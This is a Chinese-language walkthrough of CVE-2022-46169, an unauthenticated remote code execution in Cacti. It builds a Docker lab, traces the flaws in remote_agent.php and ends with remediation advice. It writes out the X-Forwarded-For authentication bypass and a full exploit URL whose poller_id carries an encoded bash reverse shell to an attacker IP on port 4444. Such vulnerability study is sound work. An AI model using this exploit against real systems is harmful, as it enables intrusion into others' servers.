逐步分析 CVE-2022-46169:通过身份验证绕过和命令注入在 Cacti 中实现未认证远程代码执行,包含 Docker 实验环境搭建与利用演练。
Cacti 是一款用 PHP、MySQL/MariaDB 编写的开源运维监控工具,提供了友好的界面。
该漏洞于 2022 年被发现,影响 1.2.23 之前的所有版本。此漏洞需要将身份验证绕过与命令注入链接起来,才能实现 RCE(远程代码执行)。
在这篇 CVE 分析中,我将在 Docker 中运行 Cacti,并使用 VSCode 进行代码分析。环境搭建非常简单,首先我们需要一个 docker-compose.yaml 文件来创建新环境。下面是 docker-compose.yaml 文件的内容:
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
创建文件后,打开命令行并切换到该文件所在目录,运行命令 docker-compose up -d,然后打开浏览器访问 localhost:8088。首先你会看到一个登录页面:

默认凭据是 admin/admin。设置过程将通过下面的图片展示:

创建新密码

完成安装后,我们会看到一个类似这样的控制台界面

现在让我们开始分析这个漏洞。众所周知,存在漏洞的文件是 remote_agent.php,所以我们尝试在浏览器中访问该文件

页面显示我们无权访问该文件。是时候查看该文件的源代码了

程序通过调用 remote_client_authorized() 函数来进行检查。让我们深入剖析这个函数。

首先,服务器通过 get_client_addr() 函数获取我们的 IP 地址,然后使用 gethostbyaddr() 函数将我们的 IP 解析为主机名。接着,服务器会获取 poller 表中的所有 pollers,并将每个 poller's hostname 与从 IP 地址解析出的 hostname 进行比较。这里有一个绕过点,就在 get_client_addr() 内部:

我们可以看到,服务器会通过以下请求头之一来获取 IP 地址:
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
这使我们能够完全控制 IP 地址的值。在这种情况下,我们可以使用 X-Forwarded-For 头将我们的 IP 伪装成一个有效 IP,从而绕过授权检查。X-Forwarded-For 头通常用于在客户端与服务器之间存在代理或负载均衡器时识别原始 IP 地址。然而,这也成为了攻击者可利用的攻击面。由于我们是在本地运行 Cacti,我们需要指定一个会被解析为 localhost 的 IP 地址,即 127.0.0.1。

现在看起来不错了吧?然而,这仅仅是开始,兄弟们!!!我们需要更多的代码分析,才能成功注入命令并获得远程代码执行。完成身份验证后,程序会执行这段代码

服务器会获取 action 参数并进入 Switch/Case 分支。如果 action 的值为 pollerdata,程序将调用 poll_for_data() 函数。该函数存在命令注入漏洞,因此我们将仔细分析它。

该函数接收 3 个参数 $local_data_ids、$host_id、$poller_id,它们来自用户的请求参数 local_data_ids、host_id、poller_id。注意获取参数所用函数的差异,一个是 get_filter_request_var,另一个是 get_nfilter_request_var,后一个函数多了一个 n,我们稍后会详细讨论。之后,程序会检查我们是否提供了 local_data_ids 参数,并逐个循环,根据 local_data_ids 和 host_id 从 poller_item 表中检索数据。查询结果将保存在 $items 中。

如果查询返回结果,程序将遍历 $items 中的每个 $item,并进入 Switch/Case 语句,该语句以 $item['action'] 作为 Switch 值。这里有很多 case,但我们应该关注的是 POLLER_ACTION_SCRIPT_PHP,即 action 等于 2 的情况。

一旦 action 为 2,程序就会执行 proc_open() 命令,该命令与 exec() 非常相似,并将 $poller_id 作为其中一个变量,而该变量完全由我们控制。为了更直观地了解情况,我们应该访问数据库并检索 poller_item 表的内容,看看它是什么样的。

从表中我们可以看到,我们需要暴力枚举 local_data_id 才能找到 action = 2 的 poller,这在真实世界的利用中同样适用。默认情况下,Cacti 没有任何 action = 2 的 poller,但我们可以通过添加新模板(如 device)来实现。



创建新的 device 后,我们再次访问 poller_item 表,会看到有一条新的 action = 2 的 poller 记录

现在让我们重新回顾整个过程。要成功利用该漏洞,我们首先需要通过添加 X-Forwarded-For 头来绕过身份验证。下一步是将 action 参数设置为 polldata,host_id = 1,local_data_ids 等于对应的具有 action = 2 的 poller,在本例中 local_data_ids = 6,而最重要的是,poller_id 参数正是我们注入命令以实现远程代码执行的位置。正是使用了 get_nfilter_request_var() 才使该参数变得脆弱。get_filter_request_var 只接受整数,而 get_nfilter_request_var 允许我们输入字符串。此外,该参数没有输入验证,从而导致完全的命令注入。
让我们运行一个 Kali Linux 服务器来监听请求。

我们需要 Kali 的 IP 地址 和 端口(即运行服务器的地址和端口)来构建 payload,在本例中分别是 172.22.119.130 和运行在 4444 端口上的 netcat
现在让我们打开 Burpsuite 开始利用。这里使用的 payload 是 ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261。该 payload 使用 ; 结束前一个命令并执行新命令,其余部分是一个简单的获取反向 shell 的命令。组合在一起,我们得到完整的 URL:localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261


Bump!!!我们已成功利用该漏洞。过程和解释虽然相当长,但总的来说,这并不是一个非常复杂的漏洞。
此漏洞的根本原因是对 poller_id 参数使用了 get_nfilter_request_var() 函数。我们可以将其改为 get_filter_request_var(),使其只接受整数

我们还可以通过使用 cacti_escapeshellarg() 函数对 poller_id 的值进行清理,从而增加另一层安全防护。这些做法将确保只有有效的输入才能传入 poller_id,然后才用于后续步骤。

分析到此结束。希望你能学到一些有意义的东西。正如我们所见,漏洞往往出现在用户的输入之中。因此,采取适当的输入验证来保护我们的服务器至关重要。远程代码执行的危害如此巨大,但仍然有办法防范它!!!祝你黑客之旅愉快!